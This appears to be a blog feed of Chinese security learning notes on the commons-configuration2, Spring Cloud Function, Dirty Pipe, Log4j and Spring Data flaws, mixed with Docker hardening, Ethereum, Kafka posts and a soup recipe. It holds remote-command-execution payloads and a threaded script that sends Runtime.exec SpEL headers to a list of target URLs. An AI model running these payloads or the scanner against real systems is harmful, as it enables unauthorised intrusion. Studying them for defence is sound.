0%

漏洞原理

org.apache.commons:commons-configuration2中,形如形如 ${prefix:name} 的字符串可以被解析,当 interpolate 操作的字符串可控时,漏洞即可以被利用
在2.4版本及以上至2.8.0版本时,支持的列表有这几种

漏洞复现

exp

跟进interpolate函数

interpolate

获取传入的${script:XXX}
继续跟进resolveSingleVariable时

resolve_out

跟进resolve解析strValue

resolve_in

获取prefixPos及后面的name传入FetchLookupForPrefix

FetchLookup

进入nullsafeLookup获取符合name的实体类

nullsafeLookup

lookup寻找逻辑如图

lookup

key不为空且key.length=2还需要符合keys的format
所以很容易构造

1
${script:nashorn:java.lang.Runtime.getRuntime().exec('XXX')}`

触发完毕

fail

2.4之前时获取的value并不是从nullsafeLookup的StringLookup这个方法获取的,而是DummyLookup的Object Lookup。也就无法找到对应的实体类,无法触发。

fail2

基于v1.3.6版本

一、主机安全配置

1.1、Linux主机配置检测

1.1.1、为容器创建一个单独的分区

默认情况下所有的容器存储在/var/lib/docker目录下,当其写满时,会造成Docker甚至主机无法使用,因此,建议为Docker创建新的分区。若已安装,建议使用LVM创建分区。

修复:

1
2
3
4
5
配置 docker data 数据挂载点,修改后重载守护进程以及重新docker服务。
$ vim /etc/docker/daemon.json
# 在json格式的 {} 中加入如下字段及内容。
"data-root": "/test/docker",
$ systemctl daemon-reload && systemctl restart docker

1.1.2、确保只允许受信任的用户控制Docker守护进程

此项会列出所有有权限使用Docker的普通用户,请确保其是符合你的期望。若需要添加或删除,请使用以下命令

1
2
3
4
5
6
# 从 docker 组中删除任何不受信任的用户
sudo gpasswd -d <your-user> docker

# 将受信任的用户添加到 docker 组
sudo usermod -aG docker <your-user>

1.1.3、确保为 Docker 守护程序配置审计

将Docker守护程序用audit工具审计

修复:

1
2
3
4
# 在/etc/audit/rules.d/audit.rules文件中写入
-w /usr/bin/dockerd -k Docker_daemon
# 然后auditctl -R /etc/audit/rules.d/audit.rules重载规则

1.1.4、确保为 Docker 文件和目录配置审计 -/run/containerd

将容器文件及目录用audit工具审计

修复:

1
2
3
# 在/etc/audit/rules.d/audit.rules文件中写入
-w /run/containerd -k Docker_containerd
# 然后auditctl -R /etc/audit/rules.d/audit.rules重载规则

区块链以太坊私有链部署及学习

区块链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
区块链为去中心化的代表产物,近年来一直备受关注,想着首先从源头开始,学习自己搭建一个自己的私有链进行学习一下基本的逻辑及对象。

区块:
Block-由交易和数据组成的数据块,一般由矿工以各种竞争的方式进行打包(获取奖励)

矿工:
Miner-一般指链中的账户,每个账户都可以是矿工,进行挖矿打包工作来赚取打包费。

交易:
Trans-指账户间的交易,数据与数据的交易,数据与合约的交易,合约与合约的交易等,交易一般会收取汽油gas费。

合约:
Contract-这里一般指链上的一段固定代码,接受指定的数据经过逻辑做出对应的操作。

其中矿工和合约均会以账户的形式存在与链上,与账户“交流”的方式就是知晓其地址,即address。

搭建私有链从环境开始

本人搭建环境为:

1
2
3
4
5
6
7
aliyun ubuntu 18.04

sudo apt-get install software-properties-common
sudo add-apt-repository -y ppa:ethereum/ethereum
sudo apt-get update
sudo apt-get install ethereum

当输入

1
2
geth --help
出现版本及参数提示时即为安装成功

当然大家也可以选择从源代码中直接编译安装

接下来是创建私有链账户

先准备好一个文件夹,例如我这里为GethBlock

使用命令geth —datadir GethBlock account new然后输入密码两次创建一个账户,此时会返回给你一个address记住这个address,再重复创建另一个账户,记下address。

接下来就是创世区块文件编写开始,将创建的两个账户address插入到alloc内,balance为余额,设置余额的目的是为了在启动链时可以直接进行交易来让矿工挖出区块,避免因为余额不足导致无法挖出区块的问题。

genesis.json文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"config": {
"chainId": 999,
"homesteadBlock": 0,
"eip150Block": 0,
"eip155Block": 0,
"eip158Block": 0,
"byzantiumBlock": 0,
"constantinopleBlock": 0,
"petersburgBlock": 0,
"ethash": {}
},
"nonce": "0x0",
"timestamp": "0x5ddf8f3e",
"extraData": "0x0000000000000000000000000000000000000000000000000000000000000000",
"gasLimit": "8000000",
"difficulty": "1",
"coinbase": "0xa0Fc8b3D878DEFAF76a3DaF003E8190b35c55eAA",
"alloc": {
"a0Fc8b3D878DEFAF76a3DaF003E8190b35c55eAA":{
"balance":"20000009800000000000000000000"
},
"CDf98f5e8319D0d4DCbA883a3294fe734e30f380":{
"balance":"20000009800000000000000000000"
}
},
"number": "0x0",
"gasUsed": "0x01"
}

一些参数的解释

chainId不建议设置为1,因为1是以太坊主链,若设置为1则后续挖掘区块会因为diffculty的数字过大而导致无法挖出区块来。

diffculty的数字建议小一些,这样自己挖掘的难度也会小很多

coinbase指启动链时默认的账户为这个地址。可以为0x0000000…000,启动后当你创建第一个账户后默认为第一个创建的账户。

balance为余额,单位为ether

gaslimit为gas的限制,gas会随着交易额等因素动态变化,此项可限制其额度。

初始化私有链

使用命令geth --datadir GethBlock init genesis.json来初始化私有链

此时初始化成功,创建password文件,将两个账户的密码分两行写入文件中

启动链命令如下

geth --datadir GethBlock --networkid 999 --unlock '0,1' --password password.txt --nodiscover console 2>>geth.log

命令详解

—datadir为指定的数据存放文件夹,—networkid为网络标识号 —unlock—password为默认启动时解锁password.txt的第0行和第1行的账户(后面操作转账时不需再次验证解锁),console为进入命令行操作界面,2>>geth.log为将操作日志写入geth.log中

进入命令行后为

1
2
3
4
5
6
7
8
9
eth.coinbase查看当前账户地址
eth.accounts查看当前链账户列表
eth.blockNumber查看当前区块数量
eth.getBalance("")获取账户的余额
eth.sendTransaction({from:eth.accounts[1],to:eth.accounts[2],value:am})
miner.start(1)使用当前账户为矿工账户进行挖矿括号内为线程数
am = web3.toWei(50,'ether')
admin.addPeer()节点接入参数为admin节点的ennode信息

先设定一个数值,然后直接发起交易(sendTransaction),然后进行挖矿(miner.start),等待进度条precent进行到100时即可成功挖出区块,此时提示(successfully)区块产生,交易已被打包,查看转账账户余额即可。

Spring Cloud Function SPEL漏洞

漏洞简介

漏洞编号

暂无

漏洞原理

1
2
在Springboot中支持使用在header中直接指明调用对应函数的方式,但是在Spring的Routing-function中获取Header头时使用了功能强大但安全性不高的StandardEcalutionContext导致在处理时直接传入了SPEL进行了命令执行。
在修复的版本中,已新增了headerEvalContext对象,该对象所对应的是使用了仅支持最基本功能的SimpleEvaluationContext。来避免了漏洞的发生

漏洞复现

使用idea的Spring项目构建一个基本项目

流程1

流程2

流程3

等待项目初始化完毕后,编辑pom.xml文件

pom.xml

将版本改为可受影响的版本,目前3.2.2版本已修复所以我这里尝试的3.2.1

然后直接运行项目即可,默认启动端口为8080

利用idea的http项目直接创建一个.http结尾的文件

然后在其中直接请求

复现

点击执行即可触发漏洞

效果

武器化

批量检测Poc脚本-(简单通过返回码及返回内容判断影响)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import sys
import threading
import urllib3

urllib3.disable_warnings()


def test(txt, cmd):
path = '/functionRouter'
payload = f'T(java.lang.Runtime).getRuntime().exec("{cmd}")'

data = 'data'
headers = {
'spring.cloud.function.routing-expression': payload,
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
f = open(txt)
urllist = f.readlines()
for url in urllist:
url = url.strip('\n')
all = url + path
try:
req = requests.post(url=all, headers=headers, data=data, verify=False, timeout=5)
code = req.status_code
text = req.text
rsp = '"error":"Internal Server Error"'

if code == 500 and rsp in text:
print(f'[+]{url} 存在漏洞')
poc_file = open('succ.txt', 'a+')
poc_file.write(url + '\n')
poc_file.close()
else:
print(f'[-]{url} 不存在漏洞')

except requests.exceptions.RequestException:
print(f'[-]{url} 检测超时')
continue
except:
print(f'[-]{url} 检测异常')
continue


if __name__ == '__main__':
try:
cmd1 = sys.argv[1]
t = threading.Thread(target=test(cmd1, 'whoami'))
t.start()
except:
print('用法:')
print('python XXX.py target.txt')
pass
finally:
print('exit![0]')
exit(0)

Dirty Pipe学习

漏洞编号:

CVE-2022-0847

漏洞影响:

linux内核权限提升

原理直击:

splice 中建立完页面映射后,此时 head 会指向下一个 pipe_buffer,此时我们再向管道中写入数据,管道计数器会发现上一个 pipe_buffer 没有写满,从而将数据拷贝到上一个 pipe_buffer 对应的页面——即文件映射的页面,由于 PIPE_BUF_FLAG_CAN_MERGE 仍保留着,因此内核会误以为该页面可以被写入,从而完成了越权写入文件的操作

splice系统调用中未清空 pipe_buffer 的标志位,从而将管道页面可写入的状态保留了下来,当然也就有了越权读写的能力,但是无法在文件的边界进行读写。

POC:

来自:

1
2
3
https://xz.aliyun.com/t/11016

原理是先将一个一个管道完全写满后读出一遍,为了给每个pipe_buffer上标志位,这个标志位可以让后面读取一个字节的文件进行读写操作。也就是越权读写,但是无法在文件的边界进行读写,因为这个边界也是对应pipe_buffer的边界,当其位于边界时无法触发管道读写的"优化"操作。也就无法进入到pipe_buffer的那个页面映射。

POC演示

POC

EXP

来源

1
2
https://haxx.in/files/dirtypipez.c

EXP演示

EXP

Log4j漏洞事件的相关技术学习

1.漏洞影响范围

1
2
3
4
5
Apache Log4j 2.x
Apache旗下相关附属产品,如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink

目前截止官方发布版本Log4j 2.17.0

2.漏洞原理

1
Log4j中存在的JNDI Lookup原本是想提供给开发者能从远程服务器上接受相关配置及记录功能的,但是由于未对Lookup传入的参数进行过滤及检测,所以造成了相当大的影响范围及危险程度。

3.漏洞简单复现

1
2
3
环境 
Java1.8.0_301、Log4j2.14.1-core、JNDIExploit-1.2-SNAPSHOT.jar

源代码很简单,就是一个启动Logger并尝试让Logger记录一个错误的过程。

然后需要先启动一个恶意的JNDI的服务器,让后续的错误记录那一步可以调用到远程服务器上的命令即可完成远程命令执行。如下图

复现

  • 打码为了文章能活得久一点

Poc&Exp

简单来说就是恶意加载远程类造成的命令执行,目前的POC都是直接注入参数然后目标服务器为DNS的解析看是否存在返回,返回则该服务器受影响。

很多检测工具都是直接检测Jar包中是否存在Log4j-core的jar包引用。太粗暴了,不够优雅,也没有什么好一点的修复方案,不过看到了长亭的解决方式觉得非常有意思,值得学习一下,链接如下:

https://log4j2-detector.chaitin.cn/

其中的agent.jar和loader.jar利用了Java中的Javassiast技术去动态修改Jar包中的Lookup函数并将其注空直接返回。对于出现紧急漏洞的修复情况这种方式非常优雅,也不会对原有业务造成影响。

  • 又学到了(RASP的这种实时修改非常适合做热修复的相关操作)

1.创建 Solidity 源文件:

打开 Remix IDE,这是一个在线的 Solidity 编辑器。
在左侧的文件资源管理器中,点击“contracts”文件夹,然后创建一个新的 .sol 文件,例如 HelloWorld.sol。

简单的sol合约代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.8.13;

contract HelloWorld {
// 状态变量
string public greeting;

// 构造函数
constructor() {
greeting = "Hello, World!";
}

// 函数:获取问候语
function getGreeting() public view returns (string memory) {
return greeting;
}

// 函数:设置问候语
function setGreeting(string memory newGreeting) public {
greeting = newGreeting;
}
}

上面的代码创建了一个名为 HelloWorld 的智能合约。
greeting 是一个状态变量,用于存储问候语。
constructor 是构造函数,在部署合约时初始化 greeting
getGreeting 函数用于获取问候语。
setGreeting 函数用于设置新的问候语。

2.编译智能合约:

在 Remix IDE 中,点击“Compile”选项卡,确保自动编译已勾选。
点击 HelloWorld.sol 文件,然后点击“Compile HelloWorld.sol”。

3.部署智能合约:

在 Remix IDE 中,切换到“Deploy & Run Transactions”选项卡。
选择合适的网络(例如 JavaScript VM 或 Injected Web3)。这里选择的时候也可以选择链接到自搭建的chain中。
点击“Deploy”按钮,部署合约。

4.调用智能合约函数:

在 Remix IDE 中,切换到“Deployed Contracts”选项卡。
找到部署的 HelloWorld 合约。
使用 getGreeting 和 setGreeting 函数来获取和设置问候语。可以直接在remix网页中看到调用效果

kafka基础应用学习笔记

kafka:一种非常流行的消息中间件
人话:可以用这个框架解决消息在服务间传递的格式化及速度等问题,那么为什么要这么做呢?
答:因为快,而且方便。

解释kafka中的专业术语(个人理解)

1
2
3
4
5
6
7
8
9
Producer:消息的生产者,消息从生产者传递至kafka处理 (做饭的)

Consumer:消息的消费者,把消息从kafka中拿出(吃饭的)

Consumer Group:消费者群组,就是把消费者们进行划分合并(吃饭排一个队的)

Topic:标签,个人将其理解为一个标识,具有相同标识的生产者和消费者之间进行联系,读取特定的数据(打饭的窗口)

Broker: kafka集群中包含的服务器节点(食堂)

搭建kafka

可选择官网tgz包下载或直接docker搭建

https://archive.apache.org/dist/kafka/

1
2
3
4
5
6
7
8
kafka启动需要zookeeper组件
tgz包版:
$root>cd kafka_X.XX-X.X.X
$root>bin/zookeeper-server-start.sh config/zookeeper.properties

然后启动kafkaserver
$root>bin/kafka-server-start.sh config/server.properties

docker版:

1
2
3
4
5
6
7
8
9
$root>docker pull zookeeper 
$root>docker run -it -p2888:2888 -p2181:2181 --name=zookeeper zookeeper

#到这步就是启动了zookeeper
#下面就是使用kafka链接zookeeper,可使用宿主机(前提是有java环境「使用java --version查看」)
$root> curl -O -L https://mirrors.tuna.tsinghua.edu.cn/apache/kafka/2.6.0/kafka_2.12-2.6.0.tgz
$root>tar -zxvf kafka_2.12-2.6.0.tgz
$root>cd kafka_2.12-2.6.0/
$root>bin/kafka-server-start.sh config/server.properties

利用了别人的镜像,避免重复造轮子(当然我喜欢自己造轮子所以我用的tgz )

一些基本操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 创建topic
>bin/kafka-topics.sh --create --zookeeper 【zookeeper server:port】 --replication-factor 1 --partitions 1 --topic 【topic name】

# 查看本机的topic
>bin/kafka-topics.sh --zookeeper 【zookeeper server:port】 --list

# 使用生产者身份连接kafka,这里会打开一个终端,向kafka中发送消息
>bin/kafka-console-producer.sh --broker-list 【zookeeper server:port】 --topic 【topic name】
>hello world

# 使用消费者身份连接kafka,这里同样会打开一个终端,获取kafka中的信息
>bin/kafka-console-consumer.sh --bootstrap-server 【zookeeper server:port】 --topic 【topic name】 --from-beginning
hello world

# 删除topic(先把kafka和zookeeper停了再操作)
>bin/kafka-topics --delete --zookeeper 【zookeeper server:port】 --topic 【topic name】
#然后删除topic的存储目录(server.properties文件log.dirs配置)“默认为/tmp/kafka-logs的topic相关目录”即可,查询显示还有的话,就重启一下将信息更新即可


注意事项:

1
2
3
4
5
6
7
# PS:说一下几个可能碰到的问题,
# 1.“唉,为啥我在虚拟机里面(docker里面)启动的kafka为啥局域网内拿python连不上啊?”
答:“因为这玩意默认是本地localhost运行的,你要在config/server.properties内修改配置(看下图)“
# 2."唉,为啥我的kafka链接不了zookeeper啊?"
答:“你看下你的zookeeper启动在哪里,然后在config/server.properties内修改配置(同样看下图)”
# 3."md,sb博主,为啥我的topic删除不了?骗子!??"
答:“你需要配置auto.create.topics.enable = false和delete.topic.enable=true

配置1

配置2

贴上我自己测试的python链接脚本,先启动消费者然后启动生产者

Producer.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import json
import traceback
from kafka import KafkaProducer
from kafka.errors import kafka_errors

producer = KafkaProducer(
bootstrap_servers=['zookeeper_server:port'],
key_serializer=lambda k: json.dumps(k).encode(),
value_serializer=lambda v: json.dumps(v).encode())
print (producer.config)
msg_dict = {
"sleep_time": 1,
"db_config": {
"database": "test_1",
"host": "xxxx",
"user": "root",
"password": "root"
},
"table": "msg",
"msg": "Hello World"
}
msg2_dict = "hahahahhahaha"

msg = json.dumps(msg_dict)
futruer = producer.send("kafka_demo", key='count_num', value=msg_dict, partition=None)
try:
futruer.get(timeout=20)
except kafka_errors: # 发送失败抛出kafka_errors
traceback.format_exc()

Consumer.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import json
from kafka import KafkaConsumer

def consumer_demo():
consumer = KafkaConsumer(
'kafka_demo',
bootstrap_servers='zookeeper_server:port',
group_id='hahaha'
)
for message in consumer:
print("receive, key: {}, value: {}".format(
json.loads(message.key.decode()),
json.loads(message.value.decode())
)
)

consumer_demo()

Spring Data Command

利用Java的反射机制对username这个类进行获取,然后利用这个类进行命令执行,主要的点在于

1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

界面

抓包

结果

尝试过命令输出重定向,但是失败了。原因是因为java的getruntime().exec()执行命令时并不会将命令输出及相关内容重定向,只有一个单纯的执行一条命令的功能。命令执行权限为运行服务器的用户权限执行。

胡辣汤做法

原材料:面粉,黄花菜,海带,木耳,豆皮,牛肉粒,

配料:葱姜蒜少许,八角香叶桂皮等。

前期准备:

1.先和面,面与水的比例为2:1

待到三光(手光,盆光,面光)即可将面放置醒面(20分钟左右)

2.将泡好的黄花菜,海带木耳和豆皮等清洗干净,均切成5-8cm的小段即可。

3.将醒好的面再次揉至结实且均匀,即可开始加入凉水“洗面”(加水揉面至水浑白,将水倒至容器内放置备用,反复多次后至清洗的水不发白,面紧实为止)

开始制作:

4.将切好的黄花菜,海带木耳下水焯水约一分钟左右捞出。

5.重新下油,将八角香叶桂皮等下锅炒出香味后捞出,加水和白葱碎煮至水烧开

6.将揉好的面团揪下一小段(大约一个大拇指左右)下入水中,依次下入。然后倒入煮过的黄花菜,海带,木耳。煮至水开

7.下入切好的牛肉粒及豆皮,然后煮开,将静置好的洗面水倒出上面的部分清水,然后搅拌均匀,缓慢倒入锅中同时朝一个方向搅拌(倒入的洗面水的量根据锅中水的量为准,此步是为了做出糊糊的感觉,所以可以根据喜好进行添加)

8.最后加入胡椒粉,生抽,蚝油及鸡精等调味料(个人风味添加)即可出锅。